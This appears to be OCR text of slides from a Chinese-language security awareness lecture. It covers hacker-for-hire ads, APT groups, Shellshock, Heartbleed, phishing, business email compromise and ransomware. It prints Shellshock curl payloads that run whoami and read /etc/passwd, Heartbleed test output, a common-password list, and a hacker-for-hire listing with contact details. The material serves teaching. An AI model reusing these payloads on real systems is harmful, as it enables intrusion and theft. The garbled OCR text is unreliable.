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Find Hackers  BidProjects  HowltWorks  FAQ

Register Login

1"

Find professional hackers for hire

Peaple need professional hackers for hire. So, we connect people who need
professional hackers to professional hackers for hire around the world. Safe, fast
and secure Learn how it works.

LT  Start a Project for Free
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Home » Profile of school grade changer

—— School Grade Changer

ofessional ha

Overview

gmail hacking
passward recovery

school grade changing

My Services: School grades changing. Clearing of criminal records, IPhone Hacking, Email . Paypal, Social
Media Hack, Password sniffing, Location detecting, SOL DB penetration, Penetration testing. Software
testing, Database Penetration, Website Ransoming, Driver's License retrieval Bank Transfers and
Company Money-Wire services, Cyber Security, Computer Security,. SMTP Any domain, Cpanel
Unlimited, Shell RDP. Leads. Cpanel. fulls. EIN, Pin, W2, SSN, DOB. fulls for Loans, Mystery shopper.
Assistant BOS, Any Country Leads, Mobile Hacking (Tracking. Tracing. Spying and Security), Bank Transfer,
Company Money-Wire services, Operating System Hacking (Windows, Linux, Mac), Sms / Call Spoofing,
Android Phone Hacking, Creating Virus, Trojans and Backdoor, Remote System Hacking, Hacking WiFi and

Wireless Networks, Exploiting Windows and Gaining Access et.c..

EMAIL ME DIRECTLY ON: schoolgradesogo8 AT gmail DOT com

CANADA AND USA TEXT ME ON: (712) 254-8317

Invite me to join

i

Hourly Rate:

Rating

120.00%/h

1 8.8 & &

36 years

0.00$

vietham
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HACKER SHOP MOBILE SPY SERVICES FAQ

Smart Phone
Facebook Account Hacking

Hacking ” ol devica e

Now a days mobiles have
became part of our bodies, It
does have all the sensitive
information , We willinjecta
. undetectable mobile Trojan into
your target device, It forward ) e

eVEry move to our servers.

can able T:D monitor thei
via our Re

Administration Access tool.

i Email Hacking

Biscrete

Website Hacking
D?tabase modification

T — We follow Brute Force or
l Hackjinto website’s admin panel

" anopymous methods based on
to modify data or deface website ru 5 A

. ém@‘sﬂrﬁmtﬂmck the

of}u_:u;lr competitors. Hack your \ -

’ . “~d h"‘*gagismmﬂs! Weregularly hack
Gmails¥ahoo, Rediff, Yandex, Etc.

= Fack pﬂsﬂwordsléﬁny.__f_:‘l;rllail with

upiversity website and modify
Y prades asperyour + ) |

5689 | Ol

the help of our hackers. e
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c 0

+

& Upwork Global Inc. [US] | https//www.upwork.comy/hire/certified-ethical-hackers/

HOW IT WORKS LOG IN

w 0

SIGMN UP

e

Post a Job

Upwork

Q ¥ Find Freelancers

Filters: Any Country (] Any hourly rate v Sort By: Most Relevant v
Alexander 5.
- OSCP / OSCE Certified Penetration Tester
$50/hr U 100% JOB SUCCESS (56 jobs) Russia
Information Security Penetration Testing Security Analysis Internet Security Vulnerability Assessment

WebApp Pentesting € Ethical Hacker - PeoplePerHo. X +
iz . C {t @& hitpsy//www.peopleperhour.com/hire-freelancers/ethical+hacker a # o
OSCP / OSCE certified penetration tester / r - N -
Information Security. | offer you VAPT (vulng
with proof-of-concept examples. An NDA (N @ peoPIEDerhour BUSERREECE Q, SEARCH v HENE HEVELTHES
Expand Profile )

Curated Freelancers — 79 found

Hire a freelancer for ethical hacker
Robert C.

. ethical ® || hacker % In: & AN Categories
TIBCO Consultant & E-Commerce Architect
$33/hr
Y Filters | ~ Industry ~ location | ~ Language ~ Popularity ~ CERT | = Rate Available Now ortfolio

Metwork Security Penetration Testing Lii

MySQL Administration Load Balancing 3

Good Day and thank you for taking a momer
a technical support representative for Simplg
had the opportunity to spend a year as a Me

Expand Profile

Romeo T.
Full Stack Microsoft Access/Excel VBA Devd

$20/hr B 100% JOB SUCCESS (

Microsoft Excel Microsoft Word Wisual B

Adib E. ¢ &TT9

Defense
Architect,CEH,PTEH, APTWAPT,CWHL2,CHRCIRARCCHRCCSM,CISSPCISO,CBRDSS

Q MANILA, PH

ethical hacker cisco router

+12 MORE SKILLS

security engineering

Md. Abdullah A. &

WordPress Expert|Malware/Hack Removal | Website Security Expert | Site
Migration and Speed Optimization Expert

@ DHAKA, BD

ethical hacker
+12 MORE SKILLS

network security security engineering

Emanuel p. @TE
Owner - Cybersecurity Company - Penetration Test - Security Assessment

Q BUENOS AIRES, AR

ethical hacker
+8 MORE SKILLS

netwark security security engineering

Siddharth 5. o =7

Cyber Security Specialist. Information Security, Penetration Tester,
Software Tester

5.0012) £60/hr

CONTACT

VIEW PROFILE

49(177)  £20/hr

CONTACT

VIEW PROFILE
5.0(2) £16/hr

CONTACT

VIEW PROFILE

49012 £8/h

e R

LOG IN
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UNCOVER m: ADVERSARY

CHINA

Comment Panda: Commercial, Government, Non-profit
Deep Panda: Financial, Technology, Non-profit o
Foxy Panda: Technology & Communicalions

Anchor Panda: Government organizations, Defense &
Aerospace, Industrial Engineering, NGOs “om KOREA

Impersonating Panda: Financial Sector

ten Sslent Chollima:
Karma Panda: Dissident groups |m Govemment, Military,
Keyhole Panda: Electronics & Communications Financial

"y =S * 24 Magic Kitten: Dissidents
anda: , G20, ing Ki j
Noesorjoqs : o m echnology Cutting Kitten: Energy Companies

Putter Panda: Governmental & Military HAO'I'IVIS'I'ITEI!RORIST

Toxic Panda: Dissident Groups -- Deadeye Jackal: Commerdial, Financial,

Union Panda: Industrial companies INDIA Media, Social Networking

Vixen Panda: Government : Ghost Jackal: Commercial, Energy,
CRIMINAL \éncoroy'r or: (_;l:«_frommm. Legal, Financiél

Corsair Jackal: Commercial, Technology,

Financial, Enecgy

Extreme Jackal: Military, Government

Singing Spider. Commercial, Financial
Union Spider: Manufacturing
Andromeda Spider: Numerous
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MOST WANTED

Ten Most Wanted =~ Fugitives | Terrorism | Kidnappings/Missing Persons | Seeking Info | Parental Kidnappings = Bank Robbers | ECAP
Crimes Against Children | Murder | Additional Violent Crimes | Cyber | White Collar Crimes | Counterintelligence | CEl | Human Trafficking

APT 10 GROUP

Conspiracy to Commit Computer intrusions; Conspiracy to Commit Wire Fraud; Aggravated |dentity Theft

& https://www.fbi.gov/want
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g Twitter n Facebook g Email

Download Poster
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Aggravated Identity Theft
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IFFREEJApache Killer

FE SUFERN £ = M

http://seclists. org/fulldisclosure/2011/Aug/175
iBiEd#tfApachedyDDOSH EMARRIFIE

= MApache £ 5IERHHT TP protocolts » gtsfRangefff{i fR i HE5EES HHY.

— iR Range 2 F R E Fimsk (EEM MR » Eil—{EfE%5 1000bytes

= EF(FO60byteslF iRy » TREBIENERL—MEHTTP request

HEADERH#FH Range : 561-1000 gy 5 &5 Serverimsi FiE S EIS HTERY 0615
1000bytesHy fyzs

Serverfi g SR E IR EERER

http.//fvalinux.pixnet.net/blog/post/282

49663-
%E5%A5%BD%E9%82%AA%E6%83

%A1%E7%9A%84apache-killer

{HEE S {EHEHEApacheE R FHE Range: 1-100,2-101 . 3-102 EZEE {8 request » &3
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miEMERE R T
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BashE&#ShellshockiEid , 2Ek¥EEEILEIRSS

IHBENEERENEERESE  EXEZERELnuxEBEEES
EHER Bash ShellgIfEZE£45 » 82 Linux - UnixBEREFIFEE - Mac 0S8
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—[EEZ&Shellshock 7@
XEE=EmaEEERAGH T

» ElEE

EARES » BolgESEER T -

2 GEJESS{1.12] e+ 2

# MORE BAESH COMMAND LINE TRICKERY (messing with the history)

make a dirsctory then meve inks L

mkdir ogi=bin; od I1#%

1#% is shorthand for “the first word of this command” If I wanted to pick the third word
out of the provious command, that would be: 1!:3 (don't feorget thero is a zoroth word).

# sxecuts the Bost rocont command tho containa the follewing atring:
8. 0.0 1. bash:

?atring

¥ gleobally seaxch replace on the previ
tirgsfold/news

Documants/ VirtualBox YMs/
Do Losds /- bing
Dropboscs smls

antconfias Library/ websites/

# HEADS ANMD TAILS
evaer wanted to copy a few files in thi
long prefix, like: cp Juarp/losal/ata/f
you can grap and rousc that profis. Tl et
ep fusr/local/etc/apachesfileal.txt [#:

rsync —av ~/sml/Documents/SMLPRotographys /Volumes /LaCie/SHLPhotog raphy/
building file list ... done
# BAVING A COMMAND WITHOUT EXECUTIHG
While using bash, if you have typod a
append a # to the beginning of the lin
yoeu @=an go back, romove the # from &
sent 17991 bytes received 76 bytes 25554.80 bytessfsec
& Coaua FomwMED A BACK X Wone total 2ire 44 1720434575 spesivp is 132374 .01
HETh=B goos backward a word

Thar 3
# COMPARE A FILE WITH IT'S VARIOUS i § Vi caog raphys
diff file.* = FSHLVideography/ Woluses/LeCies/SHLVideographys

# EXAMPLE of a basic command line sor:
for £ in "1l | grap -v "\.sh5""; { ooF

# pearching the history
Catel-R startsa a roveras ilncromental

i Koyboard whortoutai ChinuTourisn/Cingdeo/ oL mar— n;“anqi-ldnbg Promtare FF(- Auto-Smves
CTRL-k: dolote ("kill') from cursor CiinoTouriza/0ingdeosc g roe

&TRLeu: delote from cursor po
ALT-d: dolete from cucsor posd

CTRL-w: doloto from CUrSor pon) wum‘_. Sl I‘lm'u Prg: -ll-l!é—"-m-'t-}ﬂ'l-—t—!ﬂl‘tlno 5 prpraj
CTRL-a: move cursor to tho CiriRiNTRS srpesr rre ey e, ssingfAdeba Presiore Pro Preview Filess

FEANT s mess e s A

R E

etk

CiTRIX

mrmE
A2 R A

iTheme:

RS iThome RATHE
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CentOS
Fedora
RHEL
= Mac OS X
Android

Debian

embedded de
4| FreeBSD
Ubuntu

7 il Vulnerability Notes x

o . -

C E]mwkbcertorg;’v Ils/byvendor?searchview&Query=FIELD+Reference=252743&SearchOrder=4 o B % =
CERY | B Softwars Engineering Instituts | Carnegie Mellon University Q Homeland
75 Security

Vulnerability Notes Database

Advisory and mitigation information about software vulnerabilities

DATABASE HOME SEARCH

REPORT A VULNERABILITY

Vendor Information for VU#252743

GNU Bash shell executes commands in exported functions in environment

HELP

variables
Vendor Status Date Notified
Apple Inc. Affected 25 Sep 2014
Avaya, Inc. Affected 25 Sep 2014
Barracuda Metworks Affected 25 Sep 2014
Blue Coat Systems Affected 25 Sep 2014
CentOS Affected
Check Point Software Technologies Affected 25 Sep 2014
Cisco Systems, Inc Affected 25 Sep 2014
Cygwin Affected -
D-Link Systems, Inc. Affected 25 Sep 2014
Diebian GNU/Linux Affected 25 Sep 2014
Dell Computer Corporation, Inc Affected
Extreme Metworks Affected 25 Sep 2014
F5 Metworks, Inc. Affected 25 Sep 2014

Date Updated
01 Oct 2014
29 Sep 2014
27 Sep 2014
27 Sep 2014
27 Sep 2014
27 Sep 2014
26 Sep 2014
26 Sep 2014
07 Oct 2014
27 Sep 2014
27 Sep 2014
01 Oct 2014

26 Sep 2014

Sponsored by the OHS Office of
Cybersecurity and Communications

Go |

Advanced Search »

View Notes By

« Date « Date Public
Fublished

« [Date Updated « CVSS Score

Report a Vulnerability

" 4 Please use the Vulnerability

: Repaorting Form to report a
vulnerability. Alternatively, you can send
us email. Be sure to read our
vulnerability disclosure policy.

Connect with Us

Subscribe to our feed
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ccr :: ~ » curl -A "() { foo:;};echo;whoami" http://192. |: 8080/cgi-bin/authLogin.cgi
admin

Lontent-type: text/xml

<?xml version="1.0" encoding="UTF-8" 7>
ODacR i "1 Q"

12~ » curl -A ") { foo;};echo;/bin/cat /etc/passwd" http://192.] :8080/cgi-bin/authlLogin.cgi

:administrator,,,:./s /sh
4:65534:guest:/shar

9:0:Apache httpd us

@:100:Linux User,,,: :/bin/sh
1:100:Linux User,,,: :/bin/sh
2:100:Linux User,,,:

:100:Linux User,,,:/

@:Linux User,,,:/sh

:100:Linux User,,,:

@:Linux User,,,:/sh

:100:Linux User,,,:/

@0:Linux User,,,:/s

@0:Linux User,,,:/s

:100:Linux User,,,:/

4:100:Linux User,,,:

@0:Linux User,,,:/s

@@:Linux User,,,:/s

:100:Linux User,,,:

:100:Linux User,,,:/

@@:Linux User,,,:/

:100:Linux User,,,:/

ontent-type: text/xml
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» Openssl HeartBleed [E32: nitp.//xked.com/1354/
fﬁ]

$ python ssltest.py a
Connecting...

Sending Client Hello...
Waiting for Server Hello...

... received message: type = = 58
... received message: type = = 1539
... received message: type = = 525
... received message: type = =4
Sending heartbeat request...
... received message: type = 2 = = 16384
Received heartbeat response:
0000 T o e e
0010: et RO e
0020: MWaBanaaFuaians
0030: 5 R < R R
0040: R
0050: e Y
0060 : srral T e e
0070: B e
0080: A AR
0090: B ]
00a0: 2. a s
00bo: e e e e
00co: T T
00do: SRl e i §
00e0: 6&appfilter=0&is
i 't? 2& EIJ gg;g' Zgblet—aﬁd_:oken—i
== i,:i- ; e
ﬁ N\ ny Openss L 0110: c62! R
0120: ««S.qgL..L7,.5k0@
- 0130: 48 3&1_userI

0150: ccid=¢ 36
0160: 38 '&1_imei
0170: =353 18]
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® \Windows XP
® Windows 7

® Windows Server 2003

® Windows Server 2008

® \Windows Server 2008 R2
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65% SS TR, B (s FH Al SR 2408
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g@zooFE e 10

AR iRl Rl G2, IT-OT ZRR R R A EERRY ISR & B idone 7
[2019F4H10H &) £HEEEFRAFZRERE ST (FRESEHEE B windows 10
{55 1 4704) SEEFI—RINE THERE TE | T 4.0 FRELEIRIE FREERY B Windows 8.1 Total:
& | (Securing Smart Factories: Threats to Manufacturing Environments in the [ T— 152,598
Era of Industry 4.0)f5H! » {H1EfH FMFF oY R oS IS EES B S BE B HRGER B Windows XP 64
5 RIS TER P - s
Windows 8

. Windows Vista

Windows 2000

https.//www.trendmicro.com/vinfo/us/security/ne
ws/internet-of-things/security-in-the-era-of-
industry-4-dealing-with-threats-to-smart-
manufacturing-environments

Trend of vulnerabilities

&b.p - -
BRI REERT 65% RS AN T RIRIF PR A 53
Copyright of STI




Inde%x of /etc/passwd

secring.bak

sendmail.inc

service.pwd

Hame La=st modified Size De=scription
= master.passwd
[
a - s m=sades.dll
Parent Directory 31-Jul-2003 12:36 = R e i
mysgl.class
AT-admin.cgi 31-Jul-2003 12:55 2k
order.log
Count.cgi 31-Jul-2003 12:55 3k
passlist.txt
CrazyWWWBoard.egi 31-Jul-2003 12:55 3k
passwd
Search.pl 31-Jul-2003 12:55 ok
passwd. txt
WSFTE.LOG 31-Jul-2003 12:55 309k
N password
YaBB.pl 31-Jul-2003 12:55 sk 4
e EE..S.SWDI . EXC
vti inf.html 31-Jul-2003 13:06 1k .
3 o %L people.lst
access.log 31-Jul-2003 12:55 141k perl
) e
accounts.txt 21-Jul-20032 12:55 22k rint.ooi
L [
admin.db 31-Jul-2003 12:55 51k pwd.dat
g
administrators.pwd 31-Jul-2003 12:55 1k wd . db
[ [
administrators.pwd.i..>» 31-Jul-2003 12:55 2k redirect.cgi
La L
adpassword. Xt 31-Jul-2003 13:07 1k root
| =&

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

01-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003
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987654321 admin abc123
abcd1234 abcd@1234
abc@123 p@ssword
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1gaz2wsx fuckyou
123gwe zxcvbn pass
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https:/site.com/login
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WE KRENHE Kb #1, .31
carf 2009-02-16 22:17:37 = R/W/X Del/Rename
fish 2009-02-16 22:17:37 - R/W/X Del/Rename
ieprint 2009-02-16 22:17:37 - R/W/X Del/Rename
poc 2009-02-16 22:17:37 - R/W/X Del/Rename
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\;m s *m 1"; Power-Antivirus-2009

Hialps profsct wour PC

,_) o Power-kntivirus-2009 - Threats detected jo INFECTED =
: WARNING! 4 infections foundill
'ﬂ Security
Urwsanked softwsrs {mabssre) or tracking cookias R besn Found
2 churing lask sean, Tt is highly seeommanded b remons it fram your
5F Privacy compter, | Recommendations
. - 3 Lost Doouments and Settings
. ﬂ Update Infections Found: 4
| £ Permanent Data Loss bter or compromise your
I .
| ﬁ Firewall £ System not starting up
‘!& €3 System Slowdown and Crashes -_.-
=" Settings
€3 Loss of Internet Connection Bemove &
:_"] Enter activation key €3 Infecting other computers on your network & user's online
® Remoyve
| Contrue Unprotocted | | Get Full version of Power-Antivinus-2009 Now! |
a Your security status kaystiokes, takes
AL risk
Arkieatepratechion | memoveThreats | |  cContrueunprotected |
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| BEE #HEE HWHO IO M HEW

§'JEI?| R ‘i'_—ﬁLIT i E

,_
=
#lx

Elfg ZIiERE HEF 3HE Hi%
Hthd:  opay
BHE: Z0068EZA14H b 01:13
W thH: support@issdu.com. by
E= * 3 # Chuipstion about your flem # * *
aBay sent this message to you.
Your registered name is included to show this message criginated from eBay. Learn mere.
Question about Item -- Respond Now d] "

| eBay sent this message on behalf of an eBay member via My Messages. Responses sent using email will not reach the eBay member. Use the
Respond Now button below to respond to this message

| [ Marketplace Safety Tip

If this messagg is an offerto ,
7 w 4 L d
3 [FL 0 IEETD

“iew item description:

htns:ﬂcui.ehav.cnmfwsfeEiavlSﬁl.ﬁl. dl?iewltermfitem=643647 23198 sspagename=A0ME: B: AA80: LI

pa

Thank you for using eBay
htm'ﬂmmw ehav co. ukf

through instant wire transfer
senices such as YWestern
Union or MoneyGram. These
payment methods are unsafe
when paying someone you do

View itern description: not know.

htps-dicgi ebay comiws/eBayiSAPL dII?Vienltem&itern=6436472319&sspagename=ADME B AAQ UK 1

Thank vou for using eBav Is this email inaceropriate? Li
A
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%ComSpec? /c set h=p -&set j=gedset s=.q03z_&echo echo o wwwd A
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> EMC/RSA % (2011/3)

41

e

3
Message
—ﬁin _‘él'i _4 ﬁ : ‘jJ % &, safe Lists -

= v

3 Find
% Related -

Reply Reply Forward | Delete Movet Other Block Categorize Follow Mai
to All Actions~  Sender - Up~ Unread | W Selec~
Respond Actions Junk E-mail I3 Options P Find
From: web master [webmaster @beyond.com] Sent: to03.3.2011 18:43
To: =——=s@emc,com
Cc ——— = — T—
Subject: 2011 Recruitment plan

| Message | B8)2011 Recruitment plan.xs

I forward this file to you for review. Please open and view it
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hitp://blog.xecure-lab.com/2014/10/cve-2014-
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APT Emmil |
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2141017

2014H0M8

2 4no0n8

20141018

20141019

201410720

201 41 0/20

20141020
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 RAERESRIASE

S8 HFF 59 oh BT R0AE
BEEPITINES AES

A—E SRS

“dep ARRN KR
B 7

o B S 4 e S Y

it o RS © MBS

EREMFERECE SamR
)

—EnEs-T—EnE
1 S

FwW: R s B IR

2014 F BUARE EET R

Attachment file name
[Eha=t ]

LEh TSRS pps

"ot ATHRMERA
EfEHE 7 pps

chElEE 1306 HisE
Mpps

ftwmsEE RES
M ppsx

BERERSEENEN
& ppsx

Female_soldiers_of the
world ppsx

BEMTRRERESE
#pps

2014 T AE— , BIEE
Eppsx

Attachment

File MID 5

| CFD78F4F0

6DCC36A0F
F4T459F
cel7

| SF7692737E |

DFSE1C1DD
BD 923 CF
4CDT

| 843FBBECE

DC25CABTO
3DFADO49F
B2AB9

| 7CBA14EER |

O070EDT7845
608734E2CH
0A4

E4ES45F 8B

OSEEBEF 399
ASD1EGBFD
Co7F

| 40ABFBB24 |

E1F6242817
C144EAB28
S4E0

| 027BES2UE

13937A5389
2F 3E83F98
BAE

| DAF1CO138 |

CT48A6FDE
AT3IBEEABO0

| 6CECE

ERTH AREMEN

HETE
(remote SMB download)

TN
(remote SMB download)

WMETR
(remote SMEB download)

A PR =
(Malware Embedded)

P ERiErR =
(Malware Embedded)

A PR
(Malware Embedded)

T
(remote SMB download)

P ik roE =
(Malware Embedded)
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File Message Help Q Tell me what you want to do

Fignome ]ﬁ[ E' B & F [ Meeiing é‘

. Delcte Archive | ‘Reply Reply Forward Repan

L Junk - £ Mo
et ail R || iy
Detete Respond Cofenie

Review Important Document
£ Irearmner@atme. nel

LY IV ihete par problemy with how thit metage i

Message & from 8 = ITUETH] SO

NEEE—E#EIIURL . AZEHESESE

=
% e
REFELACL . BEEETRENEENA |

dhiplayed, dick Bere to view A n o web browa e

== Cofense BB HEH NEREE SEExRSSharePointiETEYH  EES
FIQRCode B EET I S EESEE=
L=

HES Al [E¥E® Cloud DevOps GDPR &

.EEHQWEQR C.Odel:l:I

EEEFEEQR CodeTLIRBEH « THES FEREAQR

]

HRMAThomei

S

SharePoint

== E0R Code BRI H

B

BoER e

EE—EEErRSharePoint?I B & =

FieTe -

IThome 5 Ewcii =@ Al GHM Cod Dovops GOPR EZ i@~ e

Sign in

Contines with your 510 »ceount
oy

QR Code B2

BEEICE - (BE®r/ Cotense )
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(AR89 9 B TR aENL, B35 EHE
Higk

BE20195 05 HO07TH o Trend Labs SEEHE 2o i Emmsich . M Ed, Eiis, @Esa
Phishing, &k EFiR/# TR CEOSEER/BEC- Business Email Compromiseik3Si{E S B CEER, 3l

=% [ B B ] Y DHS By Bl

Z[EHEENEY Department of Human Services (DHS) spERsish 0% » gl 30 &
HE PR RFEEMERE  SRMEN DHS SZERGRERER » SR Nan R
= FAAEIEE TR E URL (8 TRYEFEEFSHEEFETA R -

R
_—
\/‘ \ IEFrEfEis .  EEE DHS 8T E1F 2019 £ 1 § 8 Hitga ¥ e8I afyEFa8

| R EEAEREREAESREE 200 BEHEFEMF - BRI 1 H 28 H  AEEREF
N B9 A RS R i (PH]) MEEREISEA LA « BENEN DHS %
o R LE T EIE— PR S AR AR  HAm AR E RS R I PHI EE]
FRRLEEH

EEENNEEY PHI BREEEISISILE B TAE (HIPAA) nfRESE  (hih » ZEMMmE
FhiEN G SRR (R (Identity Theft Protection Act) TFBEEIE » B M TR
O EHEMERTIIEE | BRAET itk - &H - &0 - @Rt 0 DI EA
FREH DHS GFErTEH

St SRERILA T AEETEHFIRFRSTEEMIETS - SRR EaT R R R S

WE - ZEFHETE 1 AoE T REERinE ria s s s ST it EEE

f%ﬁﬁ HEHE URL H# _ﬁﬁiﬁiﬁzﬂ’j Office 365 F ABCRER » SR Hig L EFIfHiERS
= {4 1 2 FRE R S B E F BRI SRR R -

i
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» Business Email Compromise
VEEEE  TERNBE & R - BiEHY RS

E elﬁsﬂ .E’/Av\

Chief Executive Officer (CEQ) _ 41.83%
Managing Director/Director _ 28.29%
President - 6.88%
General Manager/Manager - 5.68%
Chairman . 3.52%
Others 13.80%
0 10 20 30 40 50
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2017-08-06

B L RECURE ERA5RERE

@906

[&%ﬂ@%/m$ﬁg1ﬁr%%%ﬂzﬁ%giﬁ%&zﬁgﬁgxf SRl BEELE
SIS BT 2EZE T1, BBER. Duﬁﬁﬁ ST R ERETERE
B, BATREERRET 1, EFEH. Eﬁ%} BEHLISKLZFEREAE T | =55 2558230  ExE2ATNROE
EERE  BREE3827007  TEaBiiEET - M5 AE . EFEEREEREAE TREELTD
FEEBEMNREETRE  BHBSATLESEY
EHIRE "xoxxx@21cn.nety o BITTEEELIA] "xxxx@211cn.net s FBIRSE  BELKSEEL
S nE LB EEEREBERES  mAACEE  ES=23827100 5 EIRHnE
TIEE -

http.//news.ltn.com.tw/news/society/breakingnews/2216954

2017-10-08 15:28

(EERER/ GEBE) ¥ﬁ’"’Tﬂ%%E—F‘eﬁﬂ?§ﬁE B EZIR IR —HEFEEG 87
EZTHREMRTEREHNEZS  FEHEARTENRS  RRATFHEAM  EEEFA
RETIETEEMESA *E;“t ERTHREENE  BEFEB2TEET -

EREATERTRANNEAT  FASE
7 Txxx@ximhan.net, EREE  REISESL
ABZRTIEHSEN DSEABEZEL SaluUsE
ELIET T xxx@ximhan.net 5 EEIRSE » LI ITET I
SERRRE SN EAS TEETEENESTE
X BEHESRBRTEINRE  DILREEEI EE
ILSEFH -

SEMREATIEEAB—BRIE RIEETFHHF
RSE Tiy B2 "1, GSER HA1EEEIE
ITRERPIIFIENEE  TEBEF —FUES
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Hackers steal $1.75 million
from Catholic church in Ohio

Graham Cluley
; 407 pm, April 30, 2019

https://blog.trendmicro.com.tw/?p=60565

MizElF EmMarous Brothers THE R R & S 25 ERNFIRESRFREIR - SUEE
WEEAL/5E=T - B BEC FEERARERVEEEAER ¢

RS ERFIRERERE - R R iRl A Marous Brothersi# e mafATHRSS -
REE A TPE S TEVEFEMFIRR  EERAE SRR R R SR E M AT R ERIGE
Bl FEISRTTIRS © #E T ABEEC —ERNREGEREERG 7 HRARERTIRS « BRI
30 (Marous Brothers} J8RNEIF » THEAFTETAMESAAER MR -

DR ETAEETFAGARERNEFRIFRT EFEFIRRERAE » EfMEH (J0%
ERHEANHREEREHE) (MEEE - R e T 2R RHET LR
FEEEDEIEF -




Company sues worker who fell for email

scam
@ 5 February 2019 f © W [ < Share

T —
https://blog.tkendmicro.com.tw/?p=59718

s BBC 8 » —FERISRmIIRR AT EESE =4t =8 (BEC)
FEERAVET S LIes « AGEEREH  5ia 8 TUEE SR ESHEE =Y
T ET - BRE TETEIENE - R LHERE LRAXERRE—ZH
iR BE M EEEE LI NEHE R BAHsESE 1958
3,250 miE (2yE% 780 &) « A FEERTRNE 8.5 BHEE -
FRrRMEEE TREZM  EEMEESHNE  EBRTEY 10.8 S55 -
TRk E T 8 TEMR T SERI T €5 -

GOOGLE

Glasgow firm Peebles Media has brought the action against a former employee

An office worker who transferred her employer’'s cash to an online fraudster
allegedly ignored a warning telling her she was falling victim to a scam.
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https://www.ithome.com.tw/news/116960

Y/ BIEE | 2017-09-27 8% IR R AiThome#iiE G-

BECEEERF RN IEGRAT > BEAIRK

BECiFSR N 3.6m=
exEasta N 9,500 mxs
EAEEsha I 5,900 m5

gimz D 5,800m=5%

AR D 4,800 s

DosiEE W 1,100mx5

EEiEst [ sssmnx

hEeEE | 243mmn

SHE6R » ZEFBIEBILFEFPLIC3AH016EZMPLTRE  HPEEE FEAEER (BEC ) FHEMEFR36EZTEE  SEEER
LREEERIVT 1%  MENDFEHRSATREBILERN4% - LB RRENE BEGEEHENEENREINEHERA  BrsRkEEE
MR - (ERKE : SEFBPEREHBFFPHMNICS « iThomeZERE . 2017498 )

[2019/5/8]
R EEBIRE BREE » (E1E2018—FF5
BB RT12(8ETT -

(from https://blog.trendmicro.com.tw/?p=60565)
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@ 2) 3) 4) ‘
-.>E.)€»

BEHEREERATE AFARERINER - B BiEH W ISHEFH P 4 AT IS B E S
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TERMEEE 1FPRES
SENEMERE 13 HE

October 13, 2010 06:00 AM [ 1180 BRERE | | 2 =R
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LEFEAFSHGER  FEH  SREFHFEGHE208ZFE > LT 1E0E R HNE
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BEREFRBREREA\EXEFEH  MAURERMERERSTEEEM N ER - Bx
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HEEHTEH ~ BoETe - PREEEEERE - MM BxAFERES 84T
R 0SE et 0 BRHER A ERMIET » M B iRREEENE

B 0 FEFTENAEZHAERERT T EE IR -
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TLHEMA  RRERERER  BOoTERE - EXERERE FEGEREMERNEM -
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APT Kill Chain

APT Kill Chain

Advanced Persistent Threat (APT)
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Phishing & Z2ero
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Good morning...

We hope you've been enjoying
the 100+ Gbps DDoS. To make it
stop, please pay 30 bitcoins to

the following wallet...

> ¥ 7 3]?5—%— (Ransomware)
P 3= et Y
> ik F ALY E BE

147



HPk4AIG (Instagram )iRSEHVEL ZEEH &
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CEEFAEE 15,000 2 70,000 £3BREE T 5HY
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g TF o LEEs il s T EEES -

T{EMOME » BEREREETE UEE » BFE 5 EEEF I ERET  BEE
= EEEEIEE  fREEEELE R o« B4 BEETRIEFE - FE L 5BEH i
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i Cryptalacker i1
Payment for private key

Croose @ convenient payment met-od:
Bitooin x

Obitcoin

Bitcain & a cryotocunency whiere the crestion and transfer of bitcons is based on an
oper-source cryphograche protocol that 5 mdependant of any central authonty
Bitcoirs can be transferred Hwoudh a computer o smartphore without 3 ntermedate
fisencial stitutian,

Yo have o sand below specifisd smount to Bitcoiy addrsss

; 1KPT2EmhEKBR fuIDMnS3APanMEMRepCh and specfy the transaction D, which
THOFEEL well e verilied and conifrited.

¥

Hm
IL l‘é arkee] il IILCOIN

Entet the transaction [0 and press <Paye:
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Software Update

A new version of Transmission is available!

Transmission 2.91 is now available—you have 2.82, Would you iike to download it now?

Release Notes:

Everyone running 2.90 on OS5 X should immediately upgrade to 2.91 (or
delete this app), as they may have downloaded a malware-infected file.

Using "Activity Monitor” preinstalled in OS X, check whether any
process named “kernel_service” is running. If so, double check the
process, choose the "Open Files and Ports” and check whether there is a
file name like “/Users//Library /kernel_service”. If so, the process is
KeRanger's main process. We suggest terminating it with "Quit -> Force
Quit™.

2.90 App Changes

» |mproved compatibility with modern O5 X
= Several bug fixes

= We're still alive!

Transmission requires 05 X 10.7 Lion or better,

For a full list of changes, click here.

Skip This Version Remind Me Later

150



fExE E REE

: K AT - SEE FEENASHR AN e R AR
A ¢ $EET RS IR EERSynoLocker * BREE LR BT ERNAS S THS « EETHET _t\

(Synology) HEFRINASEERRIERHE  EEEEA HIR S BEHRTRE + 2R Synology NASH FTERR
EEEFFIIEELRE - HEE SRS  FECEREREHE « B EEEERT HEMER * &
RS HEEEAELE -

LY % RES | Wa0s08R [ = e mhometiisn  [TJEED (255

ITeemmss

2016, 4. T(m) SN HAA

iTheme! @

ZIRBE iThome RS

H bR HeepciFmsa

4" HREEESERFAEFINESHEF2E (S2HBENASH X%
RED, ' WK - RS ET D SNEHR) /

IOTE =S '

)
B 90 EFEE—SEFTECyptolockerR B A RERRAE A E - HiEHuE

gk STETWENAEIG  BER SRR AT A\ Y =

151

@}Hubg on Halls




= == ™ i N -1 = el 20 - S L R e

S R
EE 458

FEREESET | SRR AENEERERE
{58 B summ | BEHES

EJJE?TW M | ST
*i>

EHING anunwﬁrz L B E A 2017707131
L =

EEE: 9174321
108537 AR F

https://blog.trendmicro.com.tw/?p=25625

FEHmETE

ARMEFESYFIEE PEUSAEAE B

G R

L
5
E]
2..
L]

EERH
® T
Bl mravesm -

HZ9% T DIY B ER— 8 /KAR M &, R R ZRa 2 A SIS, i
B

2016-8-9

HELAHSRREIEREA L EREA - i& IEREES
B T EEAEREE TR - BRFEEERBRLEEKE - 2012F -
ZRERTS (ELLS 8T Raas 7 ) (ERBIERIOTRM T EmE
BARLRF 10 E 20%7T - HERES—EAK " BRERFES
&t ) HY Windows BEREZ » EFEE&EY RIREFEILERHIIIE -
5 BRAEBENBEREEFT A NS HERES » EthEATERD
ERIEREFERESTS -

BEARRS EREEEARER T BERPFIEENERMEEE X
i - ?E%E%‘%EWIET%f;x—E%:fJ\ﬁEﬂ’L* - Bl » REEEREH T
2 —EETFEHVERREEEEKE] 3,000 7T -




& Cryprol ockan

